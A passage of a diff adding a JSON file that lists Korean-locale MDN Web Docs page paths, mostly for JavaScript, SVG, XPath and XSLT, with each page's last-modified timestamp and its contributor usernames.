+      "ChanghwaLee"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/with": {
+    "modified": "2020-10-15T22:07:40.562Z",
+    "contributors": [
+      "SSJ-unclear"
+    ]
+  },
+  "Web/JavaScript/Reference/Strict_mode": {
+    "modified": "2020-06-29T00:30:58.676Z",
+    "contributors": [
+      "ranhyegg",
+      "genzuby",
+      "Kim1Jun",
+      "cs09g",
+      "alattalatta",
+      "geunhyung",
+      "limkukhyun",
+      "dsma73",
+      "cecilia.cho",
+      "Minsoo_Kim",
+      "laranhee",
+      "KSH-code",
+      "imskojs",
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode": {
+    "modified": "2020-03-12T19:48:28.686Z",
+    "contributors": [
+      "SeonHyungJo"
+    ]
+  },
+  "Web/JavaScript/Reference/Template_literals": {
+    "modified": "2020-10-15T21:47:14.004Z",
+    "contributors": [
+      "hjleesm",
+      "rev1c0sm0s",
+      "limkukhyun",
+      "springday1023",
+      "kbsbroad",
+      "rlaxognsk",
+      "dragmove"
+    ]
+  },
+  "Web/JavaScript/Reference/Trailing_commas": {
+    "modified": "2020-11-24T03:08:45.215Z",
+    "contributors": [
+      "bckim9489",
+      "EatChangmyeong",
+      "samee"
+    ]
+  },
+  "Web/JavaScript/Typed_arrays": {
+    "modified": "2020-03-12T19:44:00.798Z",
+    "contributors": [
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/쉘": {
+    "modified": "2020-03-12T19:44:13.687Z",
+    "contributors": [
+      "limkukhyun",
+      "hoony"
+    ]
+  },
+  "Web/JavaScript/시작하기": {
+    "modified": "2019-03-23T23:14:43.699Z",
+    "contributors": [
+      "eunsuklee",
+      "teoli"
+    ]
+  },
+  "Web/JavaScript/언어_리소스": {
+    "modified": "2020-03-12T19:39:22.531Z",
+    "contributors": [
+      "ahnzaz",
+      "KSH-code",
+      "Netaras",
+      "teoli",
+      "NFM"
+    ]
+  },
+  "Web/Manifest": {
+    "modified": "2020-10-15T22:32:27.672Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/MathML": {
+    "modified": "2020-10-15T21:24:14.563Z",
+    "contributors": [
+      "alattalatta",
+      "fred.wang",
+      "hyeonseok",
+      "narae_lee"
+    ]
+  },
+  "Web/Media": {
+    "modified": "2019-07-04T01:00:37.497Z",
+    "contributors": [
+      "developer19899"
+    ]
+  },
+  "Web/Media/Autoplay_guide": {
+    "modified": "2019-09-17T06:49:59.371Z",
+    "contributors": [
+      "ahnzaz"
+    ]
+  },
+  "Web/Media/Formats": {
+    "modified": "2019-09-17T02:15:54.155Z",
+    "contributors": [
+      "Havi Hoffman"
+    ]
+  },
+  "Web/Media/Formats/비디오코덱": {
+    "modified": "2019-10-21T23:30:00.090Z",
+    "contributors": [
+      "ahnzaz"
+    ]
+  },
+  "Web/Media/Formats/컨테이너": {
+    "modified": "2019-09-19T00:05:45.367Z",
+    "contributors": [
+      "ahnzaz"
+    ]
+  },
+  "Web/Media/Formats/코덱파라미터": {
+    "modified": "2020-06-10T22:11:12.156Z",
+    "contributors": [
+      "ahnzaz"
+    ]
+  },
+  "Web/Performance": {
+    "modified": "2020-01-12T15:28:31.330Z",
+    "contributors": [
+      "chrisdavidmills"
+    ]
+  },
+  "Web/Performance/브라우저는_어떻게_동작하는가": {
+    "modified": "2020-01-12T15:32:32.519Z",
+    "contributors": [
+      "doong-jo"
+    ]
+  },
+  "Web/Performance/중요_렌더링_경로": {
+    "modified": "2020-09-28T15:59:43.713Z",
+    "contributors": [
+      "Joontae-Kim"
+    ]
+  },
+  "Web/Progressive_web_apps": {
+    "modified": "2019-03-23T22:00:19.382Z",
+    "contributors": [
+      "chrisdavidmills",
+      "cs09g"
+    ]
+  },
+  "Web/Progressive_web_apps/Add_to_home_screen": {
+    "modified": "2020-01-26T15:58:32.379Z",
+    "contributors": [
+      "alattalatta",
+      "chrisdavidmills",
+      "cs09g"
+    ]
+  },
+  "Web/Progressive_web_apps/App_structure": {
+    "modified": "2020-05-31T18:37:47.885Z",
+    "contributors": [
+      "chrisdavidmills",
+      "cs09g"
+    ]
+  },
+  "Web/Progressive_web_apps/Installable_PWAs": {
+    "modified": "2020-05-31T18:37:46.514Z",
+    "contributors": [
+      "chrisdavidmills",
+      "cs09g"
+    ]
+  },
+  "Web/Progressive_web_apps/Offline_Service_workers": {
+    "modified": "2020-05-31T18:37:49.321Z",
+    "contributors": [
+      "chrisdavidmills",
+      "cs09g"
+    ]
+  },
+  "Web/Progressive_web_apps/Re-engageable_Notifications_Push": {
+    "modified": "2019-03-18T20:52:11.625Z",
+    "contributors": [
+      "chrisdavidmills",
+      "cs09g"
+    ]
+  },
+  "Web/Progressive_web_apps/소개": {
+    "modified": "2019-03-18T20:52:13.104Z",
+    "contributors": [
+      "chrisdavidmills",
+      "cs09g"
+    ]
+  },
+  "Web/SVG": {
+    "modified": "2019-11-05T05:19:15.768Z",
+    "contributors": [
+      "dbwodlf3",
+      "u4bi",
+      "kybin",
+      "nacyot",
+      "hoony",
+      "dewey94esb",
+      "Delapouite"
+    ]
+  },
+  "Web/SVG/Applying_SVG_effects_to_HTML_content": {
+    "modified": "2019-03-23T22:44:07.191Z",
+    "contributors": [
+      "Narrativi",
+      "hoony"
+    ]
+  },
+  "Web/SVG/Attribute": {
+    "modified": "2019-03-23T22:32:34.072Z",
+    "contributors": [
+      "Ninjapolian"
+    ]
+  },
+  "Web/SVG/Attribute/calcMode": {
+    "modified": "2019-03-23T22:11:02.860Z",
+    "contributors": [
+      "tadkim"
+    ]
+  },
+  "Web/SVG/Attribute/cx": {
+    "modified": "2019-03-23T22:32:29.630Z",
+    "contributors": [
+      "se0kjun"
+    ]
+  },
+  "Web/SVG/Attribute/d": {
+    "modified": "2019-03-18T21:21:40.969Z",
+    "contributors": [
+      "officialmansu"
+    ]
+  },
+  "Web/SVG/Attribute/keyTimes": {
+    "modified": "2019-03-23T22:11:05.080Z",
+    "contributors": [
+      "tadkim"
+    ]
+  },
+  "Web/SVG/Attribute/values": {
+    "modified": "2019-03-23T22:11:11.110Z",
+    "contributors": [
+      "tadkim"
+    ]
+  },
+  "Web/SVG/Attribute/version": {
+    "modified": "2019-03-18T21:41:36.785Z",
+    "contributors": [
+      "MyeonghwanCho"
+    ]
+  },
+  "Web/SVG/Attribute/viewBox": {
+    "modified": "2019-03-23T22:28:50.142Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/SVG/Element": {
+    "modified": "2019-03-23T23:17:31.660Z",
+    "contributors": [
+      "dewey94esb",
+      "kscarfone"
+    ]
+  },
+  "Web/SVG/Element/a": {
+    "modified": "2020-10-15T21:40:12.249Z",
+    "contributors": [
+      "alattalatta",
+      "Sebastianz",
+      "dewey94esb"
+    ]
+  },
+  "Web/SVG/Element/altGlyph": {
+    "modified": "2020-10-15T21:40:13.413Z",
+    "contributors": [
+      "alattalatta",
+      "Sebastianz",
+      "dewey94esb"
+    ]
+  },
+  "Web/SVG/Element/circle": {
+    "modified": "2020-10-15T21:40:18.375Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "Sebastianz",
+      "dewey94esb"
+    ]
+  },
+  "Web/SVG/Element/ellipse": {
+    "modified": "2020-10-15T21:46:51.498Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "Sebastianz",
+      "se0kjun"
+    ]
+  },
+  "Web/SVG/Element/사각형": {
+    "modified": "2020-10-15T21:27:38.577Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "Sebastianz",
+      "JeongSeongDae"
+    ]
+  },
+  "Web/SVG/Tutorial": {
+    "modified": "2019-09-02T22:37:58.598Z",
+    "contributors": [
+      "jwoo0122",
+      "EatChangmyeong",
+      "nacyot",
+      "epicsaga",
+      "teoli",
+      "이선영"
+    ]
+  },
+  "Web/SVG/Tutorial/Introduction": {
+    "modified": "2019-03-23T22:40:12.666Z",
+    "contributors": [
+      "EatChangmyeong",
+      "nacyot"
+    ]
+  },
+  "Web/SVG/Tutorial/Paths": {
+    "modified": "2019-03-23T22:21:33.428Z",
+    "contributors": [
+      "EatChangmyeong",
+      "grizlupo",
+      "newmsz",
+      "cnaa97"
+    ]
+  },
+  "Web/SVG/Tutorial/Patterns": {
+    "modified": "2019-03-18T21:46:02.102Z",
+    "contributors": [
+      "grizlupo"
+    ]
+  },
+  "Web/SVG/Tutorial/SVG_Image_Tag": {
+    "modified": "2019-03-18T21:46:01.401Z",
+    "contributors": [
+      "grizlupo"
+    ]
+  },
+  "Web/SVG/Tutorial/SVG_In_HTML_Introduction": {
+    "modified": "2019-03-23T23:41:45.629Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Cliffet"
+    ]
+  },
+  "Web/SVG/Tutorial/기본_도형": {
+    "modified": "2019-03-23T22:13:37.061Z",
+    "contributors": [
+      "irisHanb",
+      "officialmansu",
+      "JongChanLee"
+    ]
+  },
+  "Web/SVG/Tutorial/시작하기": {
+    "modified": "2019-03-23T22:20:15.918Z",
+    "contributors": [
+      "Niklane"
+    ]
+  },
+  "Web/SVG/Tutorial/위치": {
+    "modified": "2019-03-23T22:19:56.793Z",
+    "contributors": [
+      "Niklane"
+    ]
+  },
+  "Web/Security": {
+    "modified": "2020-02-18T07:36:24.047Z",
+    "contributors": [
+      "DeadIntegral",
+      "wbamberg",
+      "SphinxKnight",
+      "2pylab",
+      "Sheppy"
+    ]
+  },
+  "Web/Security/Insecure_passwords": {
+    "modified": "2019-07-20T05:09:42.530Z",
+    "contributors": [
+      "shefollowme"
+    ]
+  },
+  "Web/Security/Same-origin_policy": {
+    "modified": "2020-08-22T13:54:54.667Z",
+    "contributors": [
+      "alattalatta",
+      "jongidal",
+      "TroyTae",
+      "midistour",
+      "seungha-kim",
+      "ryuan.choi",
+      "manascue",
+      "Vermond",
+      "behumble"
+    ]
+  },
+  "Web/Security/Transport_Layer_Security": {
+    "modified": "2020-09-21T00:10:58.229Z",
+    "contributors": [
+      "junnapark",
+      "haeguri"
+    ]
+  },
+  "Web/Security/정보_보안_기본": {
+    "modified": "2019-03-23T22:05:46.762Z",
+    "contributors": [
+      "daebum-lee"
+    ]
+  },
+  "Web/Tutorials": {
+    "modified": "2019-03-23T23:28:14.827Z",
+    "contributors": [
+      "featherlikeg",
+      "nacyot",
+      "pjc0247",
+      "tamnajio",
+      "KyunH"
+    ]
+  },
+  "Web/Web_Components": {
+    "modified": "2019-03-18T21:01:19.898Z",
+    "contributors": [
+      "adrenalinee",
+      "cs09g",
+      "ByeongGi",
+      "namkwon",
+      "maybe"
+    ]
+  },
+  "Web/Web_Components/Using_custom_elements": {
+    "modified": "2020-10-15T22:25:18.797Z",
+    "contributors": [
+      "cutelee",
+      "chdaud1995",
+      "alattalatta",
+      "atomDevelop",
+      "nerdrun",
+      "ByeongGi"
+    ]
+  },
+  "Web/Web_Components/Using_shadow_DOM": {
+    "modified": "2020-07-07T00:49:27.609Z",
+    "contributors": [
+      "ne2030",
+      "ByeongGi"
+    ]
+  },
+  "Web/XML": {
+    "modified": "2019-08-24T00:48:34.627Z",
+    "contributors": [
+      "oinochoe",
+      "ExE-Boss"
+    ]
+  },
+  "Web/XML/XML_Introduction": {
+    "modified": "2019-05-01T21:53:36.067Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Sebuls"
+    ]
+  },
+  "Web/XPath": {
+    "modified": "2019-01-16T14:32:58.218Z",
+    "contributors": [
+      "ExE-Boss",
+      "fscholz",
+      "Gilchris",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Axes": {
+    "modified": "2019-03-23T23:41:54.185Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Axes/ancestor": {
+    "modified": "2019-03-23T23:41:51.868Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Axes/ancestor-or-self": {
+    "modified": "2019-03-23T23:41:53.193Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Axes/attribute": {
+    "modified": "2019-01-16T16:16:10.374Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Axes/child": {
+    "modified": "2019-01-16T16:16:18.107Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Axes/descendant": {
+    "modified": "2019-01-16T16:16:11.286Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Axes/descendant-or-self": {
+    "modified": "2019-01-16T16:16:11.121Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Axes/following": {
+    "modified": "2019-01-16T16:16:17.035Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Axes/following-sibling": {
+    "modified": "2019-01-16T16:16:13.970Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Axes/namespace": {
+    "modified": "2019-03-23T23:41:52.884Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Axes/parent": {
+    "modified": "2019-01-16T16:16:10.076Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Axes/preceding": {
+    "modified": "2019-01-16T16:16:13.085Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Axes/preceding-sibling": {
+    "modified": "2019-01-16T16:16:15.097Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Axes/self": {
+    "modified": "2019-01-16T16:16:15.156Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions": {
+    "modified": "2019-03-23T23:41:49.260Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "mete0r",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/boolean": {
+    "modified": "2019-03-23T23:41:56.082Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/ceiling": {
+    "modified": "2019-03-23T23:42:00.420Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/concat": {
+    "modified": "2019-03-23T23:41:58.810Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/contains": {
+    "modified": "2019-03-23T23:41:59.602Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/count": {
+    "modified": "2019-03-23T23:41:58.125Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/current": {
+    "modified": "2019-03-23T23:41:57.241Z",
+    "contributors": [
+      "ExE-Boss",
+      "limkukhyun",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/document": {
+    "modified": "2019-03-23T23:42:02.300Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "토끼군",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/element-available": {
+    "modified": "2019-03-23T23:42:19.012Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/false": {
+    "modified": "2019-03-23T23:42:21.547Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/floor": {
+    "modified": "2019-03-23T23:42:21.115Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/format-number": {
+    "modified": "2019-03-23T23:42:15.373Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/function-available": {
+    "modified": "2019-03-23T23:42:21.463Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/generate-id": {
+    "modified": "2019-03-23T23:42:13.517Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/id": {
+    "modified": "2019-03-23T23:42:21.368Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/key": {
+    "modified": "2019-03-23T23:42:10.516Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/lang": {
+    "modified": "2019-03-23T23:42:22.431Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/last": {
+    "modified": "2019-03-23T23:42:23.803Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/local-name": {
+    "modified": "2019-03-23T23:42:19.324Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/name": {
+    "modified": "2019-03-23T23:42:53.708Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/namespace-uri": {
+    "modified": "2019-03-23T23:42:22.064Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/normalize-space": {
+    "modified": "2019-03-23T23:42:24.081Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/not": {
+    "modified": "2019-03-23T23:42:13.806Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/number": {
+    "modified": "2019-03-23T23:42:20.456Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/position": {
+    "modified": "2019-03-23T23:42:19.791Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/round": {
+    "modified": "2019-03-23T23:42:16.877Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/starts-with": {
+    "modified": "2019-03-23T23:42:20.127Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/string": {
+    "modified": "2019-03-23T23:42:22.208Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/string-length": {
+    "modified": "2019-03-23T23:42:16.696Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/substring": {
+    "modified": "2019-03-23T23:42:17.746Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/substring-after": {
+    "modified": "2019-03-23T23:42:23.050Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/substring-before": {
+    "modified": "2019-03-23T23:42:22.325Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/sum": {
+    "modified": "2019-03-23T23:42:16.787Z",
+    "contributors": [
+      "ExE-Boss",
+      "arrrggghhh",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/system-property": {
+    "modified": "2019-03-23T23:42:12.729Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/translate": {
+    "modified": "2019-03-23T23:42:23.927Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/true": {
+    "modified": "2019-03-23T23:42:14.932Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XPath/Functions/unparsed-entity-url": {
+    "modified": "2019-03-23T23:42:10.421Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT": {
+    "modified": "2019-03-23T23:44:24.859Z",
+    "contributors": [
+      "chrisdavidmills",
+      "Verruckt",
+      "Sebuls",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/Element": {
+    "modified": "2019-03-23T23:41:46.436Z",
+    "contributors": [
+      "ExE-Boss",
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/Element/element": {
+    "modified": "2019-03-23T23:42:14.305Z",
+    "contributors": [
+      "ExE-Boss",
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko": {
+    "modified": "2019-03-23T23:42:13.222Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Sebuls"
+    ]
+  },
+  "Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Introduction": {
+    "modified": "2019-03-23T23:42:13.310Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Sebuls"
+    ]
+  },
+  "Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Setting_Parameters": {
+    "modified": "2019-03-23T23:42:32.566Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Sebuls"
+    ]
+  },
+  "Web/XSLT/Transforming_XML_with_XSLT": {
+    "modified": "2019-01-16T16:15:56.433Z",
+    "contributors": [
+      "chrisdavidmills",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference": {
+    "modified": "2019-03-23T23:41:43.827Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations": {
+    "modified": "2019-11-21T00:57:37.403Z",
+    "contributors": [
+      "wbamberg",
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/apply-imports": {
+    "modified": "2019-03-23T23:42:12.617Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/apply-templates": {
+    "modified": "2019-03-23T23:42:10.628Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/attribute": {
+    "modified": "2019-03-23T23:42:16.289Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/attribute-set": {
+    "modified": "2019-03-23T23:42:15.702Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/call-template": {
+    "modified": "2019-03-23T23:42:16.020Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/choose": {
+    "modified": "2019-03-23T23:42:15.795Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/comment": {
+    "modified": "2019-03-23T23:42:16.482Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/copy": {
+    "modified": "2019-03-23T23:42:16.108Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/copy-of": {
+    "modified": "2019-03-23T23:42:16.376Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/decimal-format": {
+    "modified": "2019-03-23T23:42:15.926Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/fallback": {
+    "modified": "2019-03-23T23:42:16.195Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/for-each": {
+    "modified": "2019-03-23T23:42:20.628Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/if": {
+    "modified": "2019-03-23T23:42:21.027Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/import": {
+    "modified": "2019-03-23T23:42:22.794Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/include": {
+    "modified": "2019-03-23T23:42:18.173Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/key": {
+    "modified": "2019-03-23T23:42:17.165Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/message": {
+    "modified": "2019-03-23T23:42:22.700Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/namespace-alias": {
+    "modified": "2019-03-23T23:42:17.355Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/number": {
+    "modified": "2019-03-23T23:42:19.706Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/otherwise": {
+    "modified": "2019-03-23T23:42:20.020Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/output": {
+    "modified": "2019-03-23T23:42:18.564Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/param": {
+    "modified": "2019-03-23T23:42:19.539Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/preserve-space": {
+    "modified": "2019-03-23T23:42:19.442Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/processing-instruction": {
+    "modified": "2019-03-23T23:42:19.930Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/sort": {
+    "modified": "2019-03-23T23:42:22.944Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/strip-space": {
+    "modified": "2019-03-23T23:42:17.260Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/stylesheet": {
+    "modified": "2019-03-23T23:42:20.266Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/template": {
+    "modified": "2019-03-23T23:42:17.631Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/text": {
+    "modified": "2019-03-23T23:42:18.405Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/transform": {
+    "modified": "2019-03-23T23:41:43.222Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/value-of": {
+    "modified": "2019-03-23T23:42:23.711Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/variable": {
+    "modified": "2019-03-23T23:42:20.796Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/when": {
+    "modified": "2019-03-23T23:42:22.611Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/XSLT/with-param": {
+    "modified": "2019-03-23T23:42:24.179Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/참조": {
+    "modified": "2019-03-23T23:28:22.951Z",
+    "contributors": [
+      "DeadIntegral",
+      "jarangseo",
+      "eyekorea",
+      "LimeClover",
+      "Channy",
+      "hyeonseok",
+      "narae_lee"
+    ]
+  },
+  "Web/참조/API": {
+    "modified": "2019-03-23T23:23:26.342Z",
+    "contributors": [
+      "Netaras",
+      "tamnajio",
+      "Channy"
+    ]
+  },
+  "WebAPI": {
+    "modified": "2019-03-23T23:30:26.179Z",
+    "contributors": [
+      "wbamberg",
+      "fscholz",
+      "oohii",
+      "hyeonseok",
+      "PillarLee",
+      "junho85",
+      "francisco.jordano"
+    ]
+  },
+  "WebAPI/Battery_Status": {
+    "modified": "2020-11-26T10:20:08.081Z",
+    "contributors": [
+      "dink95",
